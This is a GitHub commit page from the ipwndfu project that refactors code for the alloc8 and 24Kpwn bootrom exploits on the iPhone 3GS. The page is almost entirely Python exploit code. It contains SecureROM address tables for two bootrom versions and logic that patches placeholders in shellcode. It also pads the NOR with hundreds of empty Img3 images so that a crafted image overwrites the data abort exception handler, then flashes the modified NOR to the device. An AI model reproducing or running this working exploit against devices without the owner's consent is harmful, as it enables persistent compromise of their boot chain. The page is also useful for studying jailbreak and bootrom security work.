Skip to content

Commit

Permalink
Refactor 24Kpwn and alloc8 NOR-related code
Browse files Browse the repository at this point in the history
  • Loading branch information
axi0mX committed Jun 14, 2017
1 parent f2f27ba commit f0f0cd2
Show file tree
Hide file tree
Showing 4 changed files with 186 additions and 185 deletions.
108 changes: 108 additions & 0 deletions alloc8.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,108 @@
import copy, struct, sys

alloc8_constants_359_3 = [
0x84034000, # 1 - MAIN_STACK_ADDRESS
0x544, # 2 - clean_invalidate_data_cache
0x84024020, # 3 - gNorImg3List
0x1ccd, # 4 - free
0x3ca1, # 5 - exit_critical_section
0x451d, # 6 - home_button_pressed
0x450d, # 7 - power_button_pressed
0x44e1, # 8 - cable_connected
0x696c6c62, # 9 - ILLB_MAGIC
0x1f6f, # 10 - get_nor_image
0x84000000, # 11 - LOAD_ADDRESS
0x24000, # 12 - MAX_SIZE
0x3969, # 13 - jump_to
0x38a1, # 14 - usb_create_serial_number_string
0x8e7d, # 15 - strlcat
0x349d, # 16 - usb_wait_for_image
0x84024228, # 17 - gLeakingDFUBuffer
0x65786563, # 18 - EXEC_MAGIC
0x1f79, # 19 - memz_create
0x1fa1, # 20 - memz_destroy
0x696d6733, # 21 - IMG3_STRUCT_MAGIC
0x4d656d7a, # 22 - MEMZ_STRUCT_MAGIC
0x1fe5, # 23 - image3_create_struct
0x2655, # 24 - image3_load_continue
0x277b, # 25 - image3_load_fail
]

alloc8_constants_359_3_2 = [
0x84034000, # 1 - MAIN_STACK_ADDRESS
0x544, # 2 - clean_invalidate_data_cache
0x84024020, # 3 - gNorImg3List
0x1ccd, # 4 - free
0x3ca9, # 5 - exit_critical_section
0x4525, # 6 - home_button_pressed
0x4515, # 7 - power_button_pressed
0x44e9, # 8 - cable_connected
0x696c6c62, # 9 - ILLB_MAGIC
0x1f77, # 10 - get_nor_image
0x84000000, # 11 - LOAD_ADDRESS
0x24000, # 12 - MAX_SIZE
0x3971, # 13 - jump_to
0x38a9, # 14 - usb_create_serial_number_string
0x8e85, # 15 - strlcat
0x34a5, # 16 - usb_wait_for_image
0x84024228, # 17 - gLeakingDFUBuffer
0x65786563, # 18 - EXEC_MAGIC
0x1f81, # 19 - memz_create
0x1fa9, # 20 - memz_destroy
0x696d6733, # 21 - IMG3_STRUCT_MAGIC
0x4d656d7a, # 22 - MEMZ_STRUCT_MAGIC
0x1fed, # 23 - image3_create_struct
0x265d, # 24 - image3_load_continue
0x2783, # 25 - image3_load_fail
]

def empty_img3(size):
assert size >= 20
return struct.pack('<4s3I4s', 'Img3'[::-1], size, 0, 0, 'zero'[::-1]) + '\x00' * (size - 20)

def exploit(nor, version):
if version == '359.3':
constants = alloc8_constants_359_3
exceptions = [0x5620, 0x5630]
elif version == '359.3.2':
constants = alloc8_constants_359_3_2
exceptions = [0x5628, 0x5638]
else:
print 'ERROR: SecureROM version %s is not supported by alloc8.' % version
sys.exit(1)

for c in nor.parts[1]:
assert c == '\x00'
assert len(nor.images) < 32

MAX_SHELLCODE_LENGTH = 460
with open('bin/alloc8-shellcode.bin', 'rb') as f:
shellcode = f.read()
assert len(shellcode) <= MAX_SHELLCODE_LENGTH

# Shellcode has placeholder values for constants; check they match and replace with constants from config.
placeholders_offset = len(shellcode) - 4 * len(constants)
for i in range(len(constants)):
offset = placeholders_offset + 4 * i
(value,) = struct.unpack('<I', shellcode[offset:offset + 4])
assert value == 0xBAD00001 + i

new_nor = copy.deepcopy(nor)
new_nor.parts[1] = shellcode[:placeholders_offset] + struct.pack('<%sI' % len(constants), *constants) + '\x00' * (MAX_SHELLCODE_LENGTH - len(shellcode))

while len(new_nor.images) < 713:
new_nor.images.append(empty_img3(new_nor.block_size))

# Image no. 714 must end at the end of the 4096-byte block.
NOR_READ_SIZE = 4096
offset = 0
for image in new_nor.images:
offset += len(image)
size = NOR_READ_SIZE - offset % NOR_READ_SIZE
new_nor.images.append(empty_img3(size))

# This image is copied to address 0x8. SHELLCODE_ADDRESS overrides the data abort exception handler.
SHELLCODE_ADDRESS = 0x84026214 + 1
new_nor.images.append(empty_img3(52)[:40] + struct.pack('<4I', SHELLCODE_ADDRESS, 0, *exceptions))

return new_nor
174 changes: 0 additions & 174 deletions dfuexec.py
Original file line number Diff line number Diff line change
Expand Up @@ -95,66 +95,6 @@ def __init__(self, version, cpid, aes_crypto_cmd, memmove, get_block_device, loa
),
]

alloc8_constants_359_3 = [
0x84034000, # 1 - MAIN_STACK_ADDRESS
0x544, # 2 - clean_invalidate_data_cache
0x84024020, # 3 - gNorImg3List
0x1ccd, # 4 - free
0x3ca1, # 5 - exit_critical_section
0x451d, # 6 - home_button_pressed
0x450d, # 7 - power_button_pressed
0x44e1, # 8 - cable_connected
0x696c6c62, # 9 - ILLB_MAGIC
0x1f6f, # 10 - get_nor_image
0x84000000, # 11 - LOAD_ADDRESS
0x24000, # 12 - MAX_SIZE
0x3969, # 13 - jump_to
0x38a1, # 14 - usb_create_serial_number_string
0x8e7d, # 15 - strlcat
0x349d, # 16 - usb_wait_for_image
0x84024228, # 17 - gLeakingDFUBuffer
0x65786563, # 18 - EXEC_MAGIC
0x1f79, # 19 - memz_create
0x1fa1, # 20 - memz_destroy
0x696d6733, # 21 - IMG3_STRUCT_MAGIC
0x4d656d7a, # 22 - MEMZ_STRUCT_MAGIC
0x1fe5, # 23 - image3_create_struct
0x2655, # 24 - image3_load_continue
0x277b, # 25 - image3_load_fail
]

alloc8_constants_359_3_2 = [
0x84034000, # 1 - MAIN_STACK_ADDRESS
0x544, # 2 - clean_invalidate_data_cache
0x84024020, # 3 - gNorImg3List
0x1ccd, # 4 - free
0x3ca9, # 5 - exit_critical_section
0x4525, # 6 - home_button_pressed
0x4515, # 7 - power_button_pressed
0x44e9, # 8 - cable_connected
0x696c6c62, # 9 - ILLB_MAGIC
0x1f77, # 10 - get_nor_image
0x84000000, # 11 - LOAD_ADDRESS
0x24000, # 12 - MAX_SIZE
0x3971, # 13 - jump_to
0x38a9, # 14 - usb_create_serial_number_string
0x8e85, # 15 - strlcat
0x34a5, # 16 - usb_wait_for_image
0x84024228, # 17 - gLeakingDFUBuffer
0x65786563, # 18 - EXEC_MAGIC
0x1f81, # 19 - memz_create
0x1fa9, # 20 - memz_destroy
0x696d6733, # 21 - IMG3_STRUCT_MAGIC
0x4d656d7a, # 22 - MEMZ_STRUCT_MAGIC
0x1fed, # 23 - image3_create_struct
0x265d, # 24 - image3_load_continue
0x2783, # 25 - image3_load_fail
]

def empty_img3_data(size):
assert size >= 20
return struct.pack('<4s3I4s', 'Img3'[::-1], size, 0, 0, 'zero'[::-1]) + '\x00' * (size - 20)

class PwnedDFUDevice():
def __init__(self):
device = dfu.acquire_device()
Expand Down Expand Up @@ -270,120 +210,6 @@ def nor_dump(self, saveBackup):

return nor

def add_24Kpwn_exploit_to_nor(self, nor):
(img2_magic, block_size, unused, firmware_block, firmware_block_count) = struct.unpack('<4s4I', nor[:20])
(img2_crc,) = struct.unpack('<I', nor[48:52])
assert img2_crc == binascii.crc32(nor[:48]) & 0xffffffff

firmware_offset = firmware_block * block_size
firmware_length = firmware_block_count * block_size
nor_firmware = nor[firmware_offset:firmware_offset + firmware_length]

if self.config.version != '359.3':
print 'ERROR: This device is not supported.'
sys.exit(1)

for c in nor[52:512]:
if c != '\x00':
print 'ERROR: Bytes following IMG2 header in NOR are not zero. alloc8 exploit was likely previously installed. Exiting.'
sys.exit(1)

new_nor_firmware = str()
offset = 0
count = 0
while 1:
img3_header = struct.unpack('<4s3I4s', nor_firmware[offset:offset+20])
if img3_header[0] != 'Img3'[::-1]:
break
img3_data = nor_firmware[offset:offset + img3_header[1]]
img3 = image3.Image3(img3_data).newDecryptedImage3()
if img3_header[4] == 'illb'[::-1]:
img3 = image3_24Kpwn.exploit(img3, self.securerom_dump())
new_nor_firmware += img3
offset += img3_header[1]
count += 1

new_nor_firmware += '\xff' * (len(nor_firmware) - len(new_nor_firmware))
new_nor = nor[0:firmware_offset] + new_nor_firmware + nor[firmware_offset + firmware_length:]
assert len(nor) == len(new_nor)
return new_nor

def add_alloc8_exploit_to_nor(self, nor):
SHELLCODE_ADDRESS = 0x84026214 + 1
MAX_SHELLCODE_LENGTH = 460
REQUIRED_IMG3_COUNT = 714
NOR_READ_SIZE = 4096

(img2_magic, block_size, unused, firmware_block, firmware_block_count) = struct.unpack('<4s4I', nor[:20])
(img2_crc,) = struct.unpack('<I', nor[48:52])
assert img2_crc == binascii.crc32(nor[:48]) & 0xffffffff

firmware_offset = firmware_block * block_size
firmware_length = firmware_block_count * block_size
nor_firmware = nor[firmware_offset:firmware_offset + firmware_length]

f = open('bin/alloc8-shellcode.bin', 'rb')
shellcode = f.read()
f.close()
assert len(shellcode) <= MAX_SHELLCODE_LENGTH

if self.config.version == '359.3':
constants = alloc8_constants_359_3
exceptions = [0x5620, 0x5630]
elif self.config.version == '359.3.2':
constants = alloc8_constants_359_3_2
exceptions = [0x5628, 0x5638]
else:
print 'ERROR: SecureROM %s is not supported by alloc8.' % self.config.version
sys.exit(1)

# Shellcode has placeholder values for constants; check they match and replace with constants from config
placeholders_offset = len(shellcode) - 4 * len(constants)
for i in range(len(constants)):
offset = placeholders_offset + 4 * i
(value,) = struct.unpack('<I', shellcode[offset:offset + 4])
assert value == 0xBAD00001 + i

shellcode = shellcode[:placeholders_offset] + struct.pack('<%sI' % len(constants), *constants)

for c in nor[52:52+MAX_SHELLCODE_LENGTH]:
if c != '\x00':
print 'ERROR: Bytes following IMG2 header in NOR are not zero. alloc8 exploit was likely already installed. Exiting.'
sys.exit(1)

new_nor_firmware = str()
offset = 0
count = 0
while 1:
img3_header = struct.unpack('<4s3I4s', nor_firmware[offset:offset+20])
if img3_header[0] != 'Img3'[::-1]:
break
img3_data = nor_firmware[offset:offset + img3_header[1]]
img3 = image3.Image3(img3_data)
new_nor_firmware += img3.newDecryptedImage3()
offset += img3_header[1]
count += 1

# Add REQUIRED_IMG3_COUNT - count - 1 empty img3s.
for i in range(REQUIRED_IMG3_COUNT - count - 1):
new_nor_firmware += empty_img3_data(block_size)

# Final img3 must end at the end of the block, followed by SecureROM overwrite data.
# SHELLCODE_ADDRESS overrides the data abort exception handler.
final_offset = firmware_offset + len(new_nor_firmware)
final_size = NOR_READ_SIZE - final_offset % NOR_READ_SIZE
if final_size < 20:
final_size += NOR_READ_SIZE
assert final_size % block_size == 0

new_nor_firmware += empty_img3_data(final_size) + '\x00' * 0x28 + struct.pack('<4I', SHELLCODE_ADDRESS, 0, *exceptions)
new_nor_firmware += '\xff' * (len(nor_firmware) - len(new_nor_firmware))

new_nor = nor[0:52] + shellcode + '\x00' * (MAX_SHELLCODE_LENGTH - len(shellcode))
new_nor += nor[52+MAX_SHELLCODE_LENGTH:firmware_offset] + new_nor_firmware + nor[firmware_offset + firmware_length:]
assert len(nor) == len(new_nor)
return new_nor

def boot_ibss(self):
print 'Sending iBSS.'
if self.config.cpid != '8920':
Expand Down
51 changes: 40 additions & 11 deletions ipwndfu
Original file line number Diff line number Diff line change
Expand Up @@ -3,7 +3,8 @@
# Author: axi0mX

import binascii, datetime, getopt, hashlib, struct, sys, time
import dfu, steaks4uce, limera1n, SHAtter, utilities
import dfu, nor, utilities
import alloc8, image3_24Kpwn, limera1n, SHAtter, steaks4uce
from dfuexec import *

def print_help():
Expand Down Expand Up @@ -62,18 +63,30 @@ if __name__ == '__main__':
if device.config.cpid != '8920':
print 'This is not a compatible device. alloc8 exploit is for iPhone 3GS only.'
sys.exit(1)

if device.config.version == '359.3':
print 'WARNING: iPhone 3GS (old bootrom) was detected. Use 24Kpwn exploit for faster boots. alloc8 exploit is supported for testing purposes only.'
print 'WARNING: iPhone 3GS (old bootrom) was detected. Use 24Kpwn exploit for faster boots, alloc8 exploit is for testing purposes only.'
raw_input("Press ENTER to continue.")

print 'Installing alloc8 exploit to NOR.'

nor = device.nor_dump(saveBackup=True)
dump = device.nor_dump(saveBackup=True)

print 'Preparing modified NOR with alloc8 exploit.'
new_nor = device.add_alloc8_exploit_to_nor(nor)
nor = nor.NorData(dump)

device.flash_nor(new_nor)
for byte in nor.parts[1]:
if byte != '\x00':
print 'ERROR: Bytes following IMG2 header in NOR are not zero. alloc8 exploit was likely previously installed. Exiting.'
sys.exit(1)
if len(nor.images) == 0 or len(nor.images[0]) < 0x24000:
print 'ERROR: 24Kpwn LLB was not found. You must restore a custom 24Kpwn IPSW before using this exploit.'
sys.exit(1)

print 'Preparing modified NOR with alloc8 exploit.'
# Decrypt LLB and remove 24Kpwn first.
nor.images[0] = image3.Image3(nor.images[0]).newDecryptedImage3()
new_nor = alloc8.exploit(nor, device.config.version)
device.flash_nor(new_nor.dump())

if opt == '-f':
try:
Expand Down Expand Up @@ -149,15 +162,31 @@ if __name__ == '__main__':
device.flash_nor(new_nor)

if opt == '--24kpwn':
print '*** based on 24Kpwn exploit (segment overflow) by the iPhone Dev Team ***'

device = PwnedDFUDevice()
if device.config.version != '359.3':
print 'Only iPhone 3GS (old bootrom) is supported.'
sys.exit(1)
print '*** based on 24Kpwn exploit (segment overflow) by the iPhone Dev Team ***'
print 'Installing 24Kpwn exploit to NOR.'
nor = device.nor_dump(saveBackup=True)
new_nor = device.add_24Kpwn_exploit_to_nor(nor)
device.flash_nor(new_nor)

dump = device.nor_dump(saveBackup=True)

print 'Preparing modified NOR with 24Kpwn exploit.'
nor = nor.NorData(dump)
for byte in nor.parts[1]:
if byte != '\x00':
print 'ERROR: Bytes following IMG2 header in NOR are not zero. alloc8 exploit was likely previously installed. Exiting.'
sys.exit(1)
if len(nor.images) == 0:
print 'ERROR: 24Kpwn exploit cannot be installed, because NOR has no valid LLB. Exiting.'
sys.exit(1)

if len(nor.images[0]) >= 0x24000:
# Decrypt LLB and remove previous 24Kpwn exploit.
nor.images[0] = image3.Image3(nor.images[0]).newDecryptedImage3()

nor.images[0] = image3_24Kpwn.exploit(nor.images[0], device.securerom_dump())
device.flash_nor(nor.dump())

if opt == '--decrypt-gid':
device = PwnedDFUDevice()
Expand Down
Loading

0 comments on commit f0f0cd2

Please sign in to comment.